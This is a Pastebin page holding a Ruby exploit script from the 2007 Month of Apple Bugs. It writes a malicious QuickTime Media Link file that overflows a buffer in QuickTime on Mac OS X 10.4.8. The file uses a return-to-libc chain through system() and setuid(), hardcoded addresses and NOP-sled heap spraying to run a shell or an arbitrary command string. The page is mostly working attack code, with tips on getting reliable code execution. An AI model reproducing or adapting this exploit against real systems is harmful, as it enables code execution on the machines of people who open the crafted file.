Advertisement
FlyFar

Constructor.Ruby.Qtp.a - Source Code

Mar 14th, 2023
974
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 2.62 KB | Cybersecurity | 0 0
  1. #!/usr/bin/ruby
  2. # Copyright (c) LMH <lmh [at] info-pull.com>
  3. #               Kevin Finisterre <kf_lists [at] digitalmunition.com>
  4. #
  5. # Notes:
  6. # Our command string is loaded on memory at a static address normally,
  7. # but this depends on execution method and the string length. The address set in this exploit will
  8. # be likely successful if we open the resulting QTL file directly, without having an
  9. # instance of Quicktime running. Although, when using another method and string, you'll need
  10. # to find the address.
  11. # For 100% reliable exploitation you can always use the /bin/sh address,
  12. # but that's not as a cool as having your box welcoming the new year.
  13. # Do whatever you prefer. That said, enjoy.
  14. #
  15. # see http://projects.info-pull.com/moab/MOAB-01-01-2007.html
  16.  
  17. # Command string: Use whatever you like.
  18. # Remember that changing this will also need a change of the target address for system(),
  19. # unless string length is the same.
  20. CMD_STRING  = "/usr/bin/say Happy new year shit bag"
  21.  
  22. # Mac OS X 10.4.8 (8L2127)
  23. EBP_ADDR    = 0xdeadbabe
  24. SYSTEM_ADDR = 0x90046c30 # NX Wars: The Libc Strikes Back
  25. SETUID_ADDR = 0x900334f0
  26. CURL_ADDR   = 0x916c24bc # /usr/bin/curl
  27. SHELL_ADDR  = 0x918bef3a # /bin/sh
  28. CMDSTR_ADDR = [
  29.                 SHELL_ADDR, # 0 addr to static /bin/sh     (lame)
  30.                 0x017a053c, # 1 addr to our command string (cool) :> (change as necessary)
  31.                 0xbabeface, # 2 bogus addr for testing.
  32.                 CURL_ADDR   # 3 addr to '/usr/bin/curl'
  33.               ]
  34.  
  35. # Payload. default to CMDSTR_ADDR 0 (/bin/sh)
  36. HAPPY = ("A" * 299) +
  37.         [EBP_ADDR].pack("V")    +
  38.         [SYSTEM_ADDR].pack("V") +
  39.         [SETUID_ADDR].pack("V") +
  40.         [CMDSTR_ADDR[0]].pack("V")  # change array index for using diff. addr (see CMDSTR_ADDR)
  41.  
  42. # Sleds: not necessary if using /bin/bash addr or other built-in addresses.
  43. # although, for using our own fu, we need to spray some data for better reliability
  44. # the goal is causing allocation of large heap chunks
  45. NEW   = ("\x90" * 30000) + CMD_STRING   # feed the heap
  46. YEAR  = ("\x90" * 30000) + CMD_STRING   # go johnny, go
  47. APPLE = ("\x90" * 30000) + "EOOM"       # feed the heap more
  48. BOYZ  = ("\x90" * 30000) + "FOOM"       # and more
  49.  
  50. # QTL output template
  51. QTL_CONTENT = "<?xml version=\"1.0\"?>" +
  52.               "<?quicktime type=\"application/x-quicktime-media-link\"?>" +
  53.               "<embed autoplay=\"true\" moviename=\"#{NEW}\" " +
  54.               "qtnext=\"#{YEAR}\" type=\"video/quicktime#{APPLE}\" " +
  55.               "src=\"rtsp://#{BOYZ}:#{HAPPY}\" />\n"
  56.  
  57. target_file = File.open("pwnage.qtl", "w+") { |f|
  58.   f.print(QTL_CONTENT)
  59.   f.close
  60. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement